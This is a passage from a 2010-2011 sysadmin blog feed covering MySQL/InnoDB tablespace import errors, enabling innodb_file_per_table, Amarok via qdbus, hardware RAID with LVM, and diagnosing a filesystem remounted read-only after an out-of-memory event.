&lt;p&gt;At least, this is what my sendmail reported.&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8782655015037910925-6611262847147442266?l=dmatwork.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://dmatwork.blogspot.com/feeds/6611262847147442266/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://dmatwork.blogspot.com/2011/02/vulnerability-in-spamassassin-milter.html#comment-form' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8782655015037910925/posts/default/6611262847147442266'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8782655015037910925/posts/default/6611262847147442266'/><link rel='alternate' type='text/html' href='http://dmatwork.blogspot.com/2011/02/vulnerability-in-spamassassin-milter.html' title='Vulnerability in Spamassassin milter plugin'/><author><name>Dmitri Minaev</name><uri>https://profiles.google.com/101239984032189294124</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8782655015037910925.post-2630521258827159260</id><published>2010-12-20T11:49:00.000-08:00</published><updated>2010-12-21T22:39:05.739-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='mysql'/><title type='text'>SOLVED: Moving InnoDB tables between Percona MySQL servers</title><content type='html'>&lt;p&gt;&lt;b&gt;Update. Warning:&lt;/b&gt; The procedure is not working. The table can be copied, imported into another server and successfully read, but an attempt to write to the table causes a server crash. The problem is probably caused by remaining tablespace ids in the ibd file.&lt;/p&gt;
&lt;p&gt;&lt;b&gt;Update 2.&lt;/b&gt; Kudos to the Percona team, who pointed me to an error in my configuration file. To import tablespaces, one more option had to be set on the server, &lt;code&gt;&lt;a href="http://www.percona.com/docs/wiki/percona-server:features:innodb_expand_import"&gt;innodb_expand_import&lt;/a&gt;&lt;/code&gt;. &lt;a href="http://www.percona.com/docs/wiki/percona-xtrabackup:xtrabackup:export_and_import"&gt;Xtrabackup documentation&lt;/a&gt; has been updated.
&lt;p&gt;When trying to move a table from one server to another, I found a
problem. I followed the procedures outlined in the Percona Xtrabackup
manual, chapter &lt;a href="http://www.percona.com/docs/wiki/percona-xtrabackup:xtrabackup:export_and_import" &gt;Exporting Tables&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;On the last step, when doing IMPORT TABLE, I received an error message saying:&lt;/p&gt;

&lt;pre&gt;mysql&gt; alter table `document_entity_bodies` import tablespace;
ERROR 1030 (HY000): Got error -1 from storage engine&lt;/pre&gt;

&lt;p&gt;There was some more information in the log:&lt;/p&gt;

&lt;pre&gt;101220 16:14:51  InnoDB: Error: tablespace id and flags in file './dbx_replica/document_entity_bodies.ibd'
 are 21 and 0, but in the InnoDB
InnoDB: data dictionary they are 181 and 0.
InnoDB: Have you moved InnoDB .ibd files around without using the
InnoDB: commands DISCARD TABLESPACE and IMPORT TABLESPACE?
InnoDB: Please refer to
InnoDB: http://dev.mysql.com/doc/refman/5.1/en/innodb-troubleshooting-datadict.html
InnoDB: for how to resolve the issue.
101220 16:14:51  InnoDB: cannot find or open in the database directory the .ibd file of
InnoDB: table `dbx_replica`.`document_entity_bodies`
InnoDB: in ALTER TABLE ... IMPORT TABLESPACE&lt;/pre&gt;

&lt;p&gt;The page mentioned in the log was not really helpful. What saved me was this article: &lt;a href="http://www.chriscalender.com/?p=28" &gt;Recovering an InnoDB table from only an .ibd file&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Following the instructions, I used a hex editor (shed) to change tablespace id in the ibd file from 0x15 to 0xB5 and then the import worked fine.&lt;/p&gt;

&lt;p&gt;I wonder if there is a way to avoid these manipulations. Perhaps, one more operation should be added to xtrabackup to make the tablespace ids agree?&lt;/p&gt;

&lt;p&gt;Oh, and it's Xtrabackup 1.4 working with Percona Server 5.1.51&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8782655015037910925-2630521258827159260?l=dmatwork.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://dmatwork.blogspot.com/feeds/2630521258827159260/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://dmatwork.blogspot.com/2010/12/moving-innodb-tables-between-percona.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8782655015037910925/posts/default/2630521258827159260'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8782655015037910925/posts/default/2630521258827159260'/><link rel='alternate' type='text/html' href='http://dmatwork.blogspot.com/2010/12/moving-innodb-tables-between-percona.html' title='SOLVED: Moving InnoDB tables between Percona MySQL servers'/><author><name>Dmitri Minaev</name><uri>https://profiles.google.com/101239984032189294124</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8782655015037910925.post-1956690951621845487</id><published>2010-12-15T22:23:00.000-08:00</published><updated>2010-12-15T22:41:40.828-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='amarok'/><category scheme='http://www.blogger.com/atom/ns#' term='linux'/><category scheme='http://www.blogger.com/atom/ns#' term='desktop'/><category scheme='http://www.blogger.com/atom/ns#' term='dbus'/><title type='text'>Amarok without panels and trays</title><content type='html'>&lt;p&gt;What's the use of “desktop” ornamentation like panels and trays? Time of day, CPU load, WiFi status — I can't think of anything I would like to see every moment I spend at the keyboard. If I want to know what's the time, I press 'M-z a'. So, panels and trays do not occupy a single pixel on my display. &lt;/p&gt;
&lt;p&gt;Some programs, though, have a strange habit of closing their main window and leaving only a small icon in the tray. And there's no other way to control them besides grabbing the mouse and clicking, clicking, clicking... In some cases, though, you can leave your mouse in the dust. Amarok is one of such cases. I was perplexed when I saw Amarok in the list of processes, but there was no main window anywhere. Unfortunately, Amarok uses one of those recent abominations that appeared in Linux, DBus. To show the main window, send a signal using `qdbus':&lt;/p&gt;
&lt;pre&gt;
$ qdbus org.kde.amarok /amarok/MainWindow org.kde.amarok.MainWindow.showHide
&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8782655015037910925-1956690951621845487?l=dmatwork.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://dmatwork.blogspot.com/feeds/1956690951621845487/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://dmatwork.blogspot.com/2010/12/amarok-without-panels-and-trays.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8782655015037910925/posts/default/1956690951621845487'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8782655015037910925/posts/default/1956690951621845487'/><link rel='alternate' type='text/html' href='http://dmatwork.blogspot.com/2010/12/amarok-without-panels-and-trays.html' title='Amarok without panels and trays'/><author><name>Dmitri Minaev</name><uri>https://profiles.google.com/101239984032189294124</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8782655015037910925.post-1311090131147422964</id><published>2010-11-19T00:03:00.000-08:00</published><updated>2010-11-19T00:05:52.299-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='mysql'/><title type='text'>MySQL: enable innodb_file_per_table with zero downtime</title><content type='html'>&lt;p&gt;I thought that while my wife is preoccupied with the lemon pie, I might tell you this story.    &lt;/p&gt;
&lt;p&gt;InnoDB is a very good storage engine for MySQL that combines reasonable performance with wide popularity and, as a consequence, a good set of tools for diagnostics and fine-tuning. One of its downsides is that it is inefficient when it comes to the disk space management. While an extent of HDD space was added to the storage, InnoDB will not return it back even when you delete tables or databases. To add some flexibility, you should use &lt;code&gt;&lt;b&gt;innodb_file_per_table&lt;/b&gt;&lt;/code&gt; option. Unfortunately, if you have a running database, you cannot just enable this option. You will have to make a dump of the database and restore it on a new instance of MySQL with the option enabled from the very beginning. This scenario means that the database will be inaccessible from the moment you start &lt;code&gt;mysqldump&lt;/code&gt; to the moment you finish restoring the data in the new instance. Is there a way to minimize the downtime?   &lt;/p&gt;

&lt;p&gt;Yes, you can run &lt;code&gt;mysqldump&lt;/code&gt; on a backup of your database. But, then you lose the data written to the database from the moment you make the backup to the moment the new instance is ready. But that's a bit closer to the solution. You can also set up replication between the original database and the new one and then, when the new instance catches up with the old one, your task is completed. And the backup can be done online, without stopping MySQL, if you use &lt;b&gt;Xtrabackup&lt;/b&gt; tool by Percona.     &lt;/p&gt;

&lt;p&gt;So, the basic steps you have to follow are:    &lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;Configure your original database as master. Unless your database
  is already  using binlogs for security,  this is the  only step that
  will require restarting MySQL.&lt;/li&gt;
  &lt;li&gt;Make a backup of the original database using &lt;b&gt;Xtrabackup&lt;/b&gt;. &lt;/li&gt;
  &lt;li&gt;Restore the backup and run a second instance of MySQL.&lt;/li&gt;
  &lt;li&gt;Run &lt;code&gt;mysqldump&lt;/code&gt; on the second instance.&lt;/li&gt;
  &lt;li&gt;Stop the second instance, but do not delete it yet.&lt;/li&gt;
  &lt;li&gt;Create a new database and start the third instance of MySQL with the enabled option &lt;code&gt;innodb_file_per_table&lt;/code&gt;.  &lt;/li&gt;
  &lt;li&gt;Restore the dump by feeding it into the third instance of MySQL.&lt;/li&gt;
  &lt;li&gt;Configure the third instance as slave and run the replication.&lt;/li&gt;
  &lt;li&gt;When the initial replication finishes and the slave catches up with the master, reconfigure your clients to use the new instance.&lt;/li&gt;
  &lt;li&gt;That's it. You can stop the first instance now and delete it.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;I wrote an even more detailed guide illustrated with example commands. It was published on Linux.com recently:  &lt;a href="http://www.linux.com/learn/tutorials/380876-howto-reconfigure-mysql-to-use-innodbfilepertable-with-zero-downtime" &gt;HOWTO: Reconfigure MySQL to use innodb_file_per_table with zero downtime &lt;/a&gt;   &lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8782655015037910925-1311090131147422964?l=dmatwork.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://dmatwork.blogspot.com/feeds/1311090131147422964/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://dmatwork.blogspot.com/2010/11/mysql-enable-innodbfilepertable-with.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8782655015037910925/posts/default/1311090131147422964'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8782655015037910925/posts/default/1311090131147422964'/><link rel='alternate' type='text/html' href='http://dmatwork.blogspot.com/2010/11/mysql-enable-innodbfilepertable-with.html' title='MySQL: enable innodb_file_per_table with zero downtime'/><author><name>Dmitri Minaev</name><uri>https://profiles.google.com/101239984032189294124</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8782655015037910925.post-4886611911724244165</id><published>2010-11-12T11:56:00.000-08:00</published><updated>2010-11-12T12:07:26.322-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='tangential'/><title type='text'>How not to write scripts</title><content type='html'>&lt;p&gt;Today, I've seen a PHP script that used 41.5 Gb of virtual memory. 26 of them were carefully put to the swap. And I recalled the programs we were writing only 15-20 years ago. Like, a text editor that could process gigabyte text files (in theory, because there were no disk drives to store such files). Or a graphic viewer that could show pictures ten times larger than the amount of available RAM.&lt;/p&gt;
&lt;p&gt;As a friend of mine has put it, in the USSR, when the engineers were sent to &lt;i&gt;kolkhoz&lt;/i&gt; to gather in the crop of potato, they knew what might happen to them if they didn't work well. Wish some of modern developers knew that, too.&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8782655015037910925-4886611911724244165?l=dmatwork.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://dmatwork.blogspot.com/feeds/4886611911724244165/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://dmatwork.blogspot.com/2010/11/how-not-to-write-scripts.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8782655015037910925/posts/default/4886611911724244165'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8782655015037910925/posts/default/4886611911724244165'/><link rel='alternate' type='text/html' href='http://dmatwork.blogspot.com/2010/11/how-not-to-write-scripts.html' title='How not to write scripts'/><author><name>Dmitri Minaev</name><uri>https://profiles.google.com/101239984032189294124</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8782655015037910925.post-7643858347718264655</id><published>2010-11-03T12:21:00.000-07:00</published><updated>2010-11-03T12:26:46.419-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='raid'/><category scheme='http://www.blogger.com/atom/ns#' term='linux'/><category scheme='http://www.blogger.com/atom/ns#' term='lvm'/><title type='text'>Hardware RAID? Software RAID? Both!</title><content type='html'>&lt;p&gt;I have received a HP server with Ubuntu installed by someone else. There is Smart Array RAID controller installed there with cciss driver. And at the same time, there's device mapper configured:&lt;/p&gt;
&lt;pre&gt;
$ ls -l /dev/mapper/
total 0
crw-rw---- 1 root root  10, 59 2010-08-25 19:01 control
brw-rw---- 1 root disk 251,  0 2010-08-25 19:01 okd-root
brw-rw---- 1 root disk 251,  1 2010-08-25 19:01 okd-swap_1
$ ls -l /dev/cciss/
total 0
brw-rw---- 1 root disk 104, 0 2010-08-25 19:01 c0d0
brw-rw---- 1 root disk 104, 1 2010-08-25 19:01 c0d0p1
brw-rw---- 1 root disk 104, 2 2010-08-25 19:01 c0d0p2
brw-rw---- 1 root disk 104, 5 2010-08-25 19:01 c0d0p5
$ mount
/dev/mapper/okd-root on / type ext4 (rw,errors=remount-ro)
...
/dev/cciss/c0d0p1 on /boot type ext2 (rw)&lt;/pre&gt;
&lt;p&gt;What I'm certain about is that hardware RAID is a must on my servers. Its battery-backed cache can provide a higher performance than that of software-only RAID. But should I get rid of the device mapper and LVM based on it?&lt;/p&gt;
&lt;p&gt;From what I found in various sources, I thought I would better leave it as it is.&lt;/p&gt;

&lt;p&gt;Firstly, the performance penalty is negligible. Secondly, LVM allows for more flexible volume management (like, removal of a PV, moving PEs to the free space in the VG). Thirdly, snapshots. And, finally, portability of LVM volumes between incompatible hardware (this won't work for me, I'm afraid, because of the underlying hardware RAID1).&lt;/p&gt;

&lt;p&gt;Besides, this LVM over RAID approach seems to be a common thing now and nobody seems to have complained about it... :)&lt;/p&gt;
&lt;p&gt;Well, anyway, I understood that Linux software RAID is one more area I should learn more about.&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8782655015037910925-7643858347718264655?l=dmatwork.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://dmatwork.blogspot.com/feeds/7643858347718264655/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://dmatwork.blogspot.com/2010/11/hardware-raid-software-raid-both.html#comment-form' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8782655015037910925/posts/default/7643858347718264655'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8782655015037910925/posts/default/7643858347718264655'/><link rel='alternate' type='text/html' href='http://dmatwork.blogspot.com/2010/11/hardware-raid-software-raid-both.html' title='Hardware RAID? Software RAID? Both!'/><author><name>Dmitri Minaev</name><uri>https://profiles.google.com/101239984032189294124</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8782655015037910925.post-8195429770391087558</id><published>2010-10-29T12:56:00.000-07:00</published><updated>2010-10-29T13:04:01.200-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='troubleshooting'/><category scheme='http://www.blogger.com/atom/ns#' term='linux'/><category scheme='http://www.blogger.com/atom/ns#' term='fs'/><category scheme='http://www.blogger.com/atom/ns#' term='memory'/><title type='text'>The case of the read-only file system</title><content type='html'>&lt;p&gt;Today, I received a notification from Nagios that one of my servers, running Sphinx search engine, was not OK. The message said the RAID controller didn't work well, but this was not the case. Sphinx itself was still running and it served the requests. It just could not update the indices to reflect the new data. I logged in with SSH and tried to run the Nagios plugin manually and received the error:     &lt;/p&gt;
&lt;pre&gt;$ /usr/lib/nagios/plugins/check_hpacucli
/usr/lib/nagios/plugins/check_hpacucli: line 72: /tmp/hpacucli.txt: Read-only file system
rm: cannot remove `/tmp/hpacucli.txt': No such file or directory
&lt;/pre&gt;
&lt;p&gt;Was it really read-only?! /tmp was not a mounted file system, it was the root FS&lt;/p&gt;
&lt;pre&gt;$ touch 1.txt
touch: cannot touch `1.txt': Read-only file system&lt;/pre&gt;
&lt;p&gt;It seemed that the root file system had really turned read-only.   &lt;/p&gt;
&lt;pre&gt;$ mount
/dev/mapper/sphinx-root on / type ext4 (rw,errors=remount-ro)
$ cat /etc/fstab
/dev/mapper/sphinx-root /               ext4    errors=remount-ro 0       1&lt;/pre&gt;
&lt;p&gt;The meaning of the flag &lt;code&gt;errors=remount-ro&lt;/code&gt; must be obvious: it remounts the file system in question in read-only mode when some errors may corrupt the FS. I had to find out what might kind of errors could trigger the flag. But there was nothing special in the system logs:    &lt;/p&gt;
&lt;pre&gt;$ sudo tail -n 2 syslog
Oct 27 12:08:14 sphinx kernel: [10073549.962985] IP Tables: IN=eth1 OUT= MAC=ff:ff:ff:ff:ff:ff:18:a9:05:41:f3:ce:08:00 SRC=212.24.56.5 DST=212.24.56.31 LEN=78 TOS=0x00 PREC=0x00 TTL=128 ID=31736 PROTO=UDP SPT=137 DPT=137 LEN=58
Oct 27 12:08:14 sphinx kernel: [10073550.725397] IP Tables: IN=eth1 OUT= MAC=ff:ff:ff:ff:ff:ff:18:a9:05:41:f3:ce:08:00 SRC=212.24.56.5 DST=212.24.56.31 LEN=78 TOS=0x00 PREC=0x00 TTL=128 ID=32600 PROTO=UDP SPT=137 DPT=137 LEN=58
$ sudo tail -n 3 messages
Oct 27 12:07:22 sphinx kernel: [10073498.248999]       blocks= 879032432 block_size= 512
Oct 27 12:07:22 sphinx kernel: [10073498.249037]       heads=255, sectors=32, cylinders=107725
Oct 27 12:07:22 sphinx kernel: [10073498.249038] &lt;/pre&gt;
&lt;p&gt;Of course, nothing could get into the log files as soon as the FS stopped writing into files! However, there is one more log, which is not written into a file. You can browse it using &lt;code&gt;dmesg&lt;/code&gt; command:&lt;/p&gt;
&lt;pre&gt;$ sudo dmesg|tail
[10105513.875139] IP Tables: IN=eth1 OUT= MAC=00:24:81:fb:2b:ad:00:0c:cf:47:11:c0:08:00 SRC=94.55.152.129 DST=212.24.56.25 LEN=48 TOS=0x00 PREC=0x00 TTL=117 ID=27206 DF PROTO=TCP SPT=3128 DPT=445 WINDOW=65535 RES=0x00 SYN URGP=0
[10105565.081765] IP Tables: IN=eth1 OUT= MAC=00:24:81:fb:2b:ad:00:0c:cf:47:11:c0:08:00 SRC=81.198.246.184 DST=212.24.56.25 LEN=48 TOS=0x00 PREC=0x00 TTL=116 ID=55870 DF PROTO=TCP SPT=3218 DPT=445 WINDOW=65535 RES=0x00 SYN URGP=0
[10105568.037173] IP Tables: IN=eth1 OUT= MAC=00:24:81:fb:2b:ad:00:0c:cf:47:11:c0:08:00 SRC=81.198.246.184 DST=212.24.56.25 LEN=48 TOS=0x00 PREC=0x00 TTL=116 ID=56107 DF PROTO=TCP SPT=3218 DPT=445 WINDOW=65535 RES=0x00 SYN URGP=0
[10105707.853626] IP Tables: IN=eth1 OUT= MAC=ff:ff:ff:ff:ff:ff:18:a9:05:41:f3:ce:08:00 SRC=212.24.56.5 DST=212.24.56.31 LEN=78 TOS=0x00 PREC=0x00 TTL=128 ID=29692 PROTO=UDP SPT=137 DPT=137 LEN=58
[10105708.615590] IP Tables: IN=eth1 OUT= MAC=ff:ff:ff:ff:ff:ff:18:a9:05:41:f3:ce:08:00 SRC=212.24.56.5 DST=212.24.56.31 LEN=78 TOS=0x00 PREC=0x00 TTL=128 ID=29742 PROTO=UDP SPT=137 DPT=137 LEN=58
[10105709.377978] IP Tables: IN=eth1 OUT= MAC=ff:ff:ff:ff:ff:ff:18:a9:05:41:f3:ce:08:00 SRC=212.24.56.5 DST=212.24.56.31 LEN=78 TOS=0x00 PREC=0x00 TTL=128 ID=30803 PROTO=UDP SPT=137 DPT=137 LEN=58
[10106190.118646] IP Tables: IN=eth1 OUT= MAC=00:24:81:fb:2b:ad:00:0c:cf:47:11:c0:08:00 SRC=92.226.213.205 DST=212.24.56.25 LEN=52 TOS=0x00 PREC=0x00 TTL=119 ID=30620 DF PROTO=TCP SPT=2961 DPT=445 WINDOW=32767 RES=0x00 SYN URGP=0
[10106193.144746] IP Tables: IN=eth1 OUT= MAC=00:24:81:fb:2b:ad:00:0c:cf:47:11:c0:08:00 SRC=92.226.213.205 DST=212.24.56.25 LEN=52 TOS=0x00 PREC=0x00 TTL=119 ID=30905 DF PROTO=TCP SPT=2961 DPT=445 WINDOW=32767 RES=0x00 SYN URGP=0
[10106214.257277] IP Tables: IN=eth1 OUT= MAC=00:24:81:fb:2b:ad:00:0c:cf:47:11:c0:08:00 SRC=109.160.88.133 DST=212.24.56.25 LEN=434 TOS=0x00 PREC=0x00 TTL=50 ID=0 DF PROTO=UDP SPT=21015 DPT=5060 LEN=414
[10106311.722746] IP Tables: IN=eth1 OUT= MAC=00:24:81:fb:2b:ad:00:0c:cf:47:11:c0:08:00 SRC=83.234.62.250 DST=212.24.56.25 LEN=48 TOS=0x00 PREC=0x00 TTL=121 ID=55552 PROTO=TCP SPT=53697 DPT=2222 WINDOW=65535 RES=0x00 SYN URGP=0
&lt;/pre&gt;
&lt;p&gt;In &lt;code&gt;dmesg&lt;/code&gt; log, I found some interesting lines:&lt;/p&gt;
&lt;pre&gt;[10073618.603399] do_get_write_access: OOM for frozen_buffer
[10073618.603451] ext4_reserve_inode_write: aborting transaction: Out of memory in __ext4_journal_get_write_access
[10073618.603541] EXT4-fs error (device dm-0) in ext4_reserve_inode_write: Out of memory
[10073618.603623] Aborting journal on device dm-0:8.
[10073618.603839] EXT4-fs (dm-0): Remounting filesystem read-only
[10073618.611361] EXT4-fs error (device dm-0) in ext4_dirty_inode: Out of memory
[10073618.876932] htop invoked oom-killer: gfp_mask=0x280da, order=0, oomkilladj=0&lt;/pre&gt;
&lt;p&gt;Out of memory killer is an funny feature of the Linux kernel. When the kernel needs more memory than it has available, it kills in a more or less random fashion one or more running processes. But when did it happen? The timestamps in dmesg are not very informative. The figures in brackets are seconds since boot time. Which means I had to find the uptime in seconds. It is very easy, just read the file &lt;code&gt;/proc/uptime&lt;/code&gt;. This file is located on the virtual filesystem and hence it was still writable:     &lt;/p&gt;
&lt;pre&gt;$ cat /proc/uptime
10132406.21 161014358.20&lt;/pre&gt;
&lt;p&gt;The first number is the number of seconds sine boot time. So, I just had to subtract the dmesg number from the /proc/uptime number, divide it by 60 and I got the number of minutes passed since the process was killed.    &lt;/p&gt;
&lt;p&gt;Actually, this information was not really important, it was just interesting.  Now, I had the explanation of the situation. Sphinx must have allocated too much memory, the kernel killed some process (the message in &lt;code&gt;dmesg&lt;/code&gt; said it was &lt;code&gt;htop&lt;/code&gt;, but it was not the only one, there were more processes killed). The process must have been writing something to the disk when it was shot down. The file system recognized it as an error and switched to the read-only mode, as prescribed by the &lt;code&gt;fstab&lt;/code&gt; option &lt;code&gt;errors=remount-ro&lt;/code&gt;.    &lt;/p&gt;
&lt;p&gt;First of all, I tried to remount the file system back in rw mode. The usual command &lt;code&gt;mount -o remount,rw&lt;/code&gt; would not work, because &lt;code&gt;mount&lt;/code&gt; attempts to write to &lt;code&gt;/etc/mtab&lt;/code&gt;, located on the read-only file system. So, I had to give one more flag to avoid writing to mtab:     &lt;/p&gt;
&lt;pre&gt;$ sudo mount -n -o remount,rw
mount: block device /dev/mapper/sphinx-root is write-protected, mounting read-only&lt;/pre&gt;
&lt;p&gt;Read-only again... I thought I had to run &lt;code&gt;fsck&lt;/code&gt; to fix the errors, but to do so, I had to reboot the server. It was probable that the automatic fsck would not solve the problem and I would need a live CD to run fsck. So, I sighed and moved Sphinx to another server. When it was done and the second server began serving users' requests, I inserted a live CD in the server and rebooted. Fortunately, the automatic &lt;code&gt;fsck&lt;/code&gt; fixed the errors, the server rebooted once again and very soon Sphinx was up and running again.    &lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8782655015037910925-8195429770391087558?l=dmatwork.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://dmatwork.blogspot.com/feeds/8195429770391087558/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://dmatwork.blogspot.com/2010/10/case-of-read-only-file-system.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8782655015037910925/posts/default/8195429770391087558'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8782655015037910925/posts/default/8195429770391087558'/><link rel='alternate' type='text/html' href='http://dmatwork.blogspot.com/2010/10/case-of-read-only-file-system.html' title='The case of the read-only file system'/><author><name>Dmitri Minaev</name><uri>https://profiles.google.com/101239984032189294124</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8782655015037910925.post-4994021253082489099</id><published>2010-10-24T05:26:00.000-07:00</published><updated>2010-10-24T05:32:47.926-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='mysql'/><category scheme='http://www.blogger.com/atom/ns#' term='reference'/><title type='text'>MySQL reference I had always missed</title><content type='html'>&lt;p&gt;&lt;a href="http://dev.mysql.com/doc/innodb-plugin/1.1/en/glossary.html"&gt;InnoDB Glossary. These terms are commonly used in information about the InnoDB storage engine.&lt;/a&gt; No idea, why I have never seen this before. I found the article today and I'm still reading. It's a very dense explanation of many important construction blocks of InnoDB (and, of course, XtraDB!) engine. Must read.&lt;p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8782655015037910925-4994021253082489099?l=dmatwork.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://dmatwork.blogspot.com/feeds/4994021253082489099/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://dmatwork.blogspot.com/2010/10/mysql-reference-i-had-always-missed.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8782655015037910925/posts/default/4994021253082489099'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8782655015037910925/posts/default/4994021253082489099'/><link rel='alternate' type='text/html' href='http://dmatwork.blogspot.com/2010/10/mysql-reference-i-had-always-missed.html' title='MySQL reference I had always missed'/><author><name>Dmitri Minaev</name><uri>https://profiles.google.com/101239984032189294124</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8782655015037910925.post-6706733846510874710</id><published>2010-10-15T03:15:00.000-07:00</published><updated>2010-10-15T04:21:29.710-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='linux'/><category scheme='http://www.blogger.com/atom/ns#' term='monitoring'/><category scheme='http://www.blogger.com/atom/ns#' term='nagios'/><title type='text'>Nagios notifications</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_wEtkaYiEOpY/TLg2H5n9EII/AAAAAAAAAzs/0CNFCCqnOrg/s1600/nagios_logo.png"&gt;&lt;img style="float:right; margin:0 0 10px 10px;cursor:pointer; cursor:hand;width: 300px; height: 75px;" src="http://3.bp.blogspot.com/_wEtkaYiEOpY/TLg2H5n9EII/AAAAAAAAAzs/0CNFCCqnOrg/s320/nagios_logo.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5528228051952668802" /&gt;&lt;/a&gt;
&lt;p&gt;For quite some time, I've been receiving Nagios notifications via e-mail and SMS. Recently, my cellular operator, MTS, turned off the service that allowed me to receive email messages via SMS. Shame upon MTS! Don't use their services. The reliability is terrible and then they just turn it off.&lt;/p&gt;
&lt;p&gt;I plan to buy and set up a SMS gateway on the server. In the meanwhile, I was looking for other alternatives.&lt;/p&gt;
&lt;h3&gt;Firefox extension&lt;/h3&gt;
